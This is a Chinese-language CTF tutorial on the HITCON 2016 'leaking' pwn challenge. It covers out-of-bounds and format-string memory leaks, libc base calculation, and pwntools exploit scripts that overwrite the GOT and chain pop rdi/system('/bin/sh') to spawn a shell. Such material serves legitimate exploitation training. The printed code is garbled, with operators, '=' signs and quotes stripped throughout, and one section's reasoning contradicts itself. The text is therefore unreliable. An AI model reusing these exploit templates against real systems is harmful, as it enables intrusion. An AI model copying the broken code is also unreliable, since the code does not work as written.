CTF Pwn题内存泄露漏洞分析:从原理到实战利用
1. 项目概述一次经典的CTF内存泄露漏洞分析在CTFCapture The Flag竞赛的世界里Pwn二进制漏洞利用类题目是检验选手逆向工程、漏洞分析和利用能力的核心战场。今天要深入拆解的是来自2016年HITCON CTF的一道经典Pwn题——[hitcon 2016]leaking。这道题之所以在圈内被反复提及不仅因为它出自顶级赛事更因为它精准地考察了一个在真实漏洞利用中至关重要的前置环节信息泄露。在没有ASLR地址空间布局随机化保护或需要绕过ASLR时如何从程序中“榨取”出关键的内存地址信息往往是整个利用链能否成功搭建的第一步。这道题就是以此为切入点设计了一个精巧的“内存泄漏”场景引导我们思考如何在没有直接输出功能的情况下通过程序逻辑的“副作用”来获取信息。简单来说这道题模拟了一个存在逻辑缺陷的程序。它可能没有提供诸如printf、puts这样直接输出内容的函数或者这些函数的输出被严格限制。但程序在处理用户输入或执行某些操作时其行为会间接地、不经意地将内存中的某些数据“暴露”出来。我们的目标就是找到这个泄露点并利用它获取诸如libc基地址、栈地址或程序本身地址等关键信息为后续的ROP链构建或Shellcode跳转铺平道路。对于刚接触Pwn的新手理解这道题是理解现代漏洞利用中“信息泄露”这一基础但核心概念的绝佳范例对于有经验的选手重温这道题也能帮助我们梳理在限制条件下进行信息搜集的多种思路。2. 漏洞场景与程序逻辑逆向分析拿到一个陌生的二进制文件第一步永远是静态分析。使用file命令查看基本信息用checksec检查其安全保护机制是标准流程。对于leaking我们通常会看到它是一个64位的ELF可执行文件并且很可能开启了NX堆栈不可执行和ASLR系统级。但题目环境有时会关闭ASLR以便于初学者理解或者需要我们利用泄露的信息来绕过它。接下来我们需要深入程序内部。使用IDA Pro、Ghidra或radare2等反汇编工具我们可以梳理出程序的大致逻辑。典型的leaking类题目可能包含以下一种或几种模式2.1 逻辑缺陷型泄露程序可能有一个菜单提供诸如“存储数据”、“读取数据”、“修改数据”等功能。漏洞往往出现在“读取”或“修改”功能的实现上。例如程序允许用户指定一个索引来读取某个数组或链表中的数据但没有正确验证索引的范围。如果允许读取负索引就可能读取到数组之前内存区域的数据这些数据可能包含栈上的返回地址、libc函数指针等。2.2 格式化字符串漏洞型泄露这是信息泄露的“经典款”。虽然题目叫leaking可能不会直接给一个明显的printf(user_input)但可能会把用户输入作为某个格式化字符串函数的参数。例如程序可能用snprintf将一个包含用户可控内容的字符串格式化到一个缓冲区然后又用printf或syslog输出这个缓冲区。如果用户输入中包含%p、%x等格式化占位符就可能导致栈上内容被打印出来。2.3 未初始化内存泄露程序可能使用malloc分配堆内存但在使用前没有进行初始化例如没有用memset清零就直接将其内容发送给用户。这块新分配的堆内存里可能残留着之前释放的堆块的数据其中就可能包含堆管理器如glibc的malloc维护的指针利用这些指针可以推算出堆或libc的基地址。2.4 侧信道泄露这是一种更隐晦的方式。程序可能不会直接输出内存字节但其行为如执行时间、是否崩溃、分支选择会依赖于某个内存值。通过精心构造输入并观察程序的行为差异可以像“盲文”一样一点一点地推测出内存内容。不过在CTF中为了可解性通常会采用前几种更直接的方式。对于[hitcon 2016]leaking根据公开的Write-up和社区讨论其核心漏洞点通常被设计为第一种或第二种。我们需要在逆向工程中重点关注所有涉及用户输入拷贝、处理、输出的函数寻找那些缺少边界检查的数组索引、可能被控制的格式化字符串参数或者对未初始化数据的使用。注意在静态分析时要特别留意那些看似“无用”的代码分支或数据拷贝。漏洞往往隐藏在那些错误处理路径或者为了“方便”而留下的后门逻辑里。同时要画出程序的关键数据结构图理解全局变量、堆块、栈帧的布局这能帮助你在发现泄露点时立刻知道泄露的是什么数据。3. 关键漏洞点定位与利用原理详解假设通过逆向分析我们定位到了漏洞点。这里以一个典型的“越界读”场景为例进行原理深度剖析。3.1 漏洞代码模拟假设程序中有一个全局数组char *notes[10]用于存储用户通过malloc分配的便签内容。有一个view_note函数其简化代码如下void view_note() { int index; printf(Index: ); scanf(%d, index); if (index 0 index 10) { // 只检查了上界未检查下界 if (notes[index]) { printf(Content: %s\n, notes[index]); // 泄露点 } else { printf(No note here.\n); } } else { printf(Invalid index!\n); } }粗看之下代码似乎有检查index是否在[0, 10)范围内。但如果我们传入一个负值例如-1它就能通过if (index 0 index 10)这个检查吗在C语言中-1 0的结果是false所以程序会执行else分支打印“Invalid index!”。看起来是安全的。但漏洞可能不在这里。我们再仔细看检查条件是不是写成了if (index 10)漏掉了index 0或者在另一个类似的edit_note函数里它可能用了一个有符号整数与无符号整数比较的经典漏洞unsigned int idx; read(0, idx, sizeof(idx)); if (idx 10) { // idx 是 unsigned int, 传入-1会变成很大的正数从而通过检查 // 越界访问 notes[idx] }当idx被声明为unsigned int时如果我们输入-1即0xFFFFFFFF它在内存中被解释为一个巨大的无符号整数4294967295这个值很可能大于10因此检查if (idx 10)会失败。所以这也不是常见的考点。更典型的leaking漏洞可能在于程序使用了一个有符号的int类型变量作为索引但在进行边界检查时只检查了上界没有检查下界。或者它允许的索引范围是0 index 10但notes数组的大小正好是10访问notes[10]就造成了越界。在内存布局上notes数组之后可能紧接着就是其他重要的全局变量比如存储printf或system函数地址的GOT表项或者是一个指向libc中某处的函数指针。3.2 泄露目标与计算我们的目标是泄露一个libc中的地址。为什么是libc因为现代系统都开启了ASLRlibc的加载基地址每次运行都不同。但是libc内部各个函数之间的相对偏移是固定的只要libc版本相同。如果我们能泄露任何一个libc函数的运行时地址比如printf的地址我们就能通过公式计算出libc的基地址libc_base leaked_printf_address - offset_of_printf_in_libc这个offset_of_printf_in_libc可以通过工具如libc-database、pwntools的ELF模块查询特定版本的libc得到。在leaking题目中常见的泄露目标有GOT表项全局偏移表GOT中存储着外部函数如printf,puts,read的绝对地址。如果我们可以越界读到GOT表所在的内存区域就能直接拿到这些地址。栈地址如果泄露了栈上的一个返回地址我们可以计算出栈的大致位置为后续在栈上布置ROP链提供参考。堆地址如果泄露了堆块中的fd/bk指针在glibc的堆管理结构中可以推算出堆的基地址用于构造堆相关的利用。_libc_start_main的返回地址这是main函数返回时跳转的地址位于libc中一个固定偏移处是非常理想的泄露目标。3.3 利用链构建思路信息泄露阶段利用越界读或其他漏洞读取notes[-1]、notes[10]或notes[某个计算后的值]的内存内容。这个位置恰好是notes数组之后的一个指针比如指向printf的GOT表项。地址计算阶段将泄露出的原始字节数据通常是8字节的小端序数据解析成一个整数这就是printf的运行时地址。然后根据题目提供的libc版本或通过泄露多个地址来匹配查出printf在libc中的偏移。相减得到libc基地址。系统地址计算有了libc基地址我们就可以计算出任何我们需要的函数地址最经典的就是system函数的地址system_addr libc_base offset_of_system。后续利用获取了关键地址后续的利用就水到渠成了。我们可以结合程序的其他漏洞如堆溢出、栈溢出或功能如edit_note将某个函数指针如GOT表中的free函数指针覆盖为system地址然后触发该函数调用如free一个内容为/bin/sh的堆块从而获得shell。实操心得在调试阶段使用gdb的x/gx命令查看内存至关重要。你需要先静态分析出notes数组的地址例如0x6020a0然后在gdb中运行程序查看0x6020a0附近的内存布局。计算notes[-1]对应的地址是0x6020a0 - 8看看这里存放的是什么。如果是类似0x00007ffff7a7c690这样的值再用info proc mappings查看libc的映射范围如果这个地址落在libc的映射区间内那它很可能就是一个libc地址恭喜你找到了泄露点。4. 动态调试与信息泄露利用实战理论清晰后我们进入实战环节。假设我们已经通过静态分析怀疑view_note函数对index的检查存在下界越界问题允许读取notes[-1]、notes[-2]等。4.1 环境搭建与初步测试首先用pwntools编写一个交互脚本的框架。from pwn import * context.log_level debug context.arch amd64 # 假设是64位程序 # p process(./leaking) # 本地测试 p remote(题目服务器, 端口) # 远程连接 def view(idx): p.sendlineafter(bchoice: , b2) # 假设2是查看功能 p.sendlineafter(bIndex: , str(idx).encode()) # 接收输出并解析 # 测试越界读 for i in range(-5, 15): info(fTrying index {i}) view(i)运行脚本观察输出。当索引为某些负值时程序可能没有输出“Invalid index!”而是输出了一串乱码或者一个看似像地址的十六进制字符串可能被%s打印直到遇到空字节。这就是泄露的信号。4.2 精确泄露与地址解析我们需要精确控制读取的位置。假设我们发现notes[-2]泄露出了一个8字节的值。在pwntools脚本中我们需要接收这个输出并解析。def leak_addr(idx): p.sendlineafter(bchoice: , b2) p.sendlineafter(bIndex: , str(idx).encode()) p.recvuntil(bContent: ) # 泄露的内容可能被%s打印遇到\x00停止。我们需要接收直到换行。 leak p.recvline().strip() # 尝试将其解析为地址。可能不是完整的8字节需要根据情况处理。 # 一种常见情况是泄露的是指针指向的字符串内容我们需要用 u64 解包。 # 但如果是直接越界读到了指针本身可能输出的是指针值经过%s解释的字符串可能不可读。 # 更可靠的方法是如果程序有“显示十六进制”的功能或者漏洞是格式化字符串那会更直接。如果程序没有直接输出指针值而是输出指针所指向的字符串那我们可能泄露的是.got.plt或.data节的内容。我们需要调整策略。4.3 格式化字符串漏洞利用泄露如果漏洞点是格式化字符串利用起来就更直接。例如程序有一段代码char buf[100]; snprintf(buf, sizeof(buf), user_input); // user_input 我们可控 printf(buf); // 格式化字符串漏洞我们可以输入%p.%p.%p.%p.%p.%p...来探测栈上的数据。在64位系统中前6个参数通过寄存器传递但从第7个开始就在栈上。我们需要找到哪个%p对应着我们感兴趣的返回地址或GOT表地址。使用pwntools可以自动化这个过程def fmt_leak(offset): payload f%{offset}$p # 直接泄露栈上第offset个参数 p.sendlineafter(binput: , payload.encode()) p.recvuntil(b0x) # 接收输出 leak int(p.recvline().strip(), 16) return leak # 遍历可能的偏移 for i in range(1, 30): try: addr fmt_leak(i) log.info(fOffset {i}: {hex(addr)}) # 判断addr是否在libc地址空间 except: break找到libc地址后记录下其偏移i。之后就可以用%{i}$s来泄露该地址指向的字符串如果它是可读指针或者用%{i}$p来泄露地址本身。4.4 计算libc基地址无论通过哪种方式假设我们获得了printf函数的地址leaked_printf 0x7ffff7a7c690。 我们需要知道libc版本。比赛有时会提供libc.so文件或者可以通过泄露两个不同函数的地址然后去libc-database等在线库中搜索匹配。from pwn import ELF libc ELF(./libc.so.6) # 提供的libc文件 printf_offset libc.symbols[printf] system_offset libc.symbols[system] bin_sh_offset next(libc.search(b/bin/sh\x00)) libc_base leaked_printf - printf_offset system_addr libc_base system_offset bin_sh_addr libc_base bin_sh_offset log.success(flibc base: {hex(libc_base)}) log.success(fsystem addr: {hex(system_addr)}) log.success(fbin/sh addr: {hex(bin_sh_addr)})5. 完整利用链构造与漏洞利用脚本编写信息泄露完成后我们就拥有了构建完整利用链的所有“拼图”。接下来需要找到一个“写入”原语将计算出的system地址写入到合适的位置。5.1 寻找写入点常见的写入点有堆溢出如果存在edit_note功能且修改时长度控制不当可以覆盖相邻堆块的数据进而覆盖函数指针。栈溢出如果存在一个读入用户输入到栈缓冲区的函数且没有长度限制可以直接覆盖返回地址。GOT表覆写如果程序有“修改note内容”的功能并且我们通过越界读知道了某个GOT表项的地址那么或许可以通过类似的越界写如果存在来修改它。或者如果存在一个任意地址写漏洞如*ptr value我们可以直接瞄准GOT表。假设我们通过逆向发现edit_note函数同样存在索引验证缺陷允许向notes[-1]写入数据。而notes[-1]这个位置恰好是printf的GOT表指针printfgot.plt。那么我们就可以将printf的GOT表项修改为system的地址。5.2 构造利用脚本结合前面的泄露和找到的写入点完整的利用脚本如下#!/usr/bin/env python3 from pwn import * import sys context.binary ./leaking context.log_level info context.terminal [tmux, splitw, -h] elf ELF(./leaking) # libc ELF(/lib/x86_64-linux-gnu/libc.so.6) # 本地libc用于测试 libc ELF(./libc.so.6) # 题目提供的libc def conn(): if len(sys.argv) 1 and sys.argv[1] remote: return remote(pwn.challenge.hitcon.2016, 12345) # 假设的远程地址 else: return process(elf.path) def view(idx): p.sendlineafter(b , b1) # 假设1是view p.sendlineafter(bindex: , str(idx).encode()) p.recvuntil(bcontent: ) return p.recvline().strip() def edit(idx, content): p.sendlineafter(b , b2) # 假设2是edit p.sendlineafter(bindex: , str(idx).encode()) p.sendlineafter(bcontent: , content) p conn() # 阶段一信息泄露 log.info(Phase 1: Information Leak) # 通过越界读notes[-2]泄露printf的GOT地址 # 首先需要确定负索引多少能读到GOT。这需要结合gdb调试或暴力尝试。 leak_data view(-2) # 假设泄露出来的是printf的地址并且是完整的8字节以字符串形式显示为地址 # 例如输出是0x7f1a2b3c4d5e leak_str leak_data.decode().split(0x)[-1] # 获取十六进制部分 if not leak_str: leak_str leak_data.hex() # 如果是raw bytes用hex printf_addr int(leak_str, 16) log.success(fLeaked printf address: {hex(printf_addr)}) # 计算libc基地址和其他关键地址 libc_base printf_addr - libc.symbols[printf] system_addr libc_base libc.symbols[system] bin_sh_addr libc_base next(libc.search(b/bin/sh\x00)) log.success(fLibc base: {hex(libc_base)}) log.success(fSystem address: {hex(system_addr)}) log.success(f/bin/sh address: {hex(bin_sh_addr)}) # 阶段二GOT表覆写 log.info(Phase 2: GOT Overwrite) # 假设通过分析edit(-2)可以覆盖printf的GOT表项 # 我们需要将system地址写入。注意写入的格式如果edit函数用strcpy需要确保地址字符串不含空字节。 # 但地址0x7f...通常高位有00字节strcpy会截断。所以需要利用其他写入原语如write_n字节。 # 假设edit函数是安全的我们换一种思路。 # 另一种常见思路如果存在堆溢出可以覆盖某个堆块中的函数指针。 # 或者如果存在栈溢出可以直接覆盖返回地址为system并布置参数。 # 这里假设存在一个简单的栈溢出函数vuln_func log.info(Phase 3: Triggering exploit via stack overflow) # 寻找一个存在栈溢出的函数 # 假设调用 vuln_func 的选项是 3 p.sendlineafter(b , b3) # 构造ROP链或直接覆盖返回地址 # 在64位下调用system需要将rdi设置为/bin/sh地址 # 我们需要一个pop rdi; ret的gadget。可以从二进制文件或libc中找。 rop ROP([elf, libc]) pop_rdi rop.find_gadget([pop rdi, ret])[0] ret rop.find_gadget([ret])[0] # 可能用于栈对齐 payload bA * 偏移量 # 填充到返回地址 payload p64(pop_rdi) payload p64(bin_sh_addr) payload p64(ret) # 栈对齐可选 payload p64(system_addr) p.sendlineafter(binput: , payload) log.info(Payload sent.) # 阶段四获取shell p.interactive()这个脚本是一个框架实际需要根据逆向分析结果调整确定泄露的索引、确定写入原语、计算偏移量、寻找gadget等。6. 常见问题排查与调试技巧实录在实际操作中几乎不可能一帆风顺。下面记录几个常见问题及其排查思路。6.1 泄露的数据不是地址现象越界读或格式化字符串输出的是一堆不可读的字符或者明显不是有效的内存地址。排查检查接收解析方式程序输出可能是原始字节你的接收代码recvuntil,recvline可能处理不当截断了\x00或换行符。尝试用recv(n)指定字节数接收或者用recvall()。检查泄露点你读到的内存位置可能不是指针而是其他数据。用gdb附加进程在触发泄露的代码处下断点直接查看目标内存地址的内容x/gx $address确认这里存放的是什么。检查程序输出函数程序是用printf(%s)输出吗如果是它会在遇到\x00时停止。如果目标指针的第一个字节就是\x00小端序下地址高位为0那么%s什么也打不出来。这时需要换用其他方式泄露比如如果程序有输出十六进制的功能或者利用格式化字符串的%p、%x。6.2 计算出的libc基地址不对现象利用泄露地址减偏移算出的libc基地址看起来不像一个正常的映射地址例如不是0x7f开头或者与info proc mappings显示的libc区域不符。排查确认libc版本这是最常见的问题。你使用的libc偏移和题目环境的libc版本不一致。尝试泄露两个不同的函数地址如printf和puts然后用libc-database进行匹配./find printf_addr puts_addr。确认泄露的是什么地址你确定泄露的是printf的地址吗也可能是printfgot.plt的地址即GOT表项的地址本身而不是它指向的printf函数地址。在GDB中x/gx printfgot.plt显示的是GOT表项的位置x/gx printfgot.plt后再用x/gx查看该位置的内容才是printf的实际地址。确保你泄露的是后者。处理地址随机化如果泄露的地址每次运行都变化但相对偏移稳定说明ASLR开启正常。确保你的计算是基于运行时泄露的值。6.3 写入漏洞无法利用现象找到了越界写或溢出点但写入后程序崩溃或者覆盖没有生效。排查检查写入长度和内容写入函数是strcpy、memcpy还是readstrcpy遇到\x00会终止如果你写入的地址包含\x00字节写入会不完整。考虑使用memcpy或read的漏洞点。检查覆盖目标你覆盖的内存位置是否正确用gdb在写入后立即检查目标内存地址x/gx $target_address确认是否被成功修改为你期望的值。检查堆栈布局对于栈溢出填充的“偏移量”需要精确计算。可以通过模式字符串如cyclic 200生成测试数据触发崩溃后查看RIP寄存器的值再用cyclic -l $rip_value计算出精确偏移。检查保护机制如果程序开启了FULL RELROGOT表是只读的无法覆盖。此时需要转向其他利用方式如覆盖栈上的返回地址、覆盖__malloc_hook或__free_hook如果libc版本较旧等。6.4 利用成功但拿不到shell现象最终执行到了system但/bin/sh没启动或者立即退出。排查参数传递64位下system的参数通过rdi传递。你的ROP链是否正确地设置了rdi用gdb在跳转到system之前中断检查rdi寄存器的值是否为/bin/sh的地址。栈对齐某些版本的libc的system函数对栈对齐有要求16字节对齐。在跳转到system之前确保rsp % 16 0。可以在pop rdi; ret之后加一个额外的ret指令来调整。字符串格式确保/bin/sh字符串以\x00结尾。使用next(libc.search(b/bin/sh\x00))可以确保找到完整的字符串。环境问题在远程利用时可能因为环境变量导致shell无法正常交互。尝试使用system(‘/bin/sh -i’)或者使用execve系统调用构造更稳定的payload。调试是Pwn题的核心。多使用gdb配合pwntools的gdb.attach(p)在关键节点如泄露前后、写入前后、触发溢出前下断点仔细观察寄存器和内存的变化。将静态分析与动态调试结合起来才能快速定位问题所在。每一次失败的利用尝试其错误信息、崩溃地址都是宝贵的线索学会解读它们你的漏洞利用能力就会稳步提升。这道[hitcon 2016]leaking所训练的正是在复杂环境中抽丝剥茧、一步步获取控制权的思维和能力这种能力在真实的安全研究和渗透测试中同样至关重要。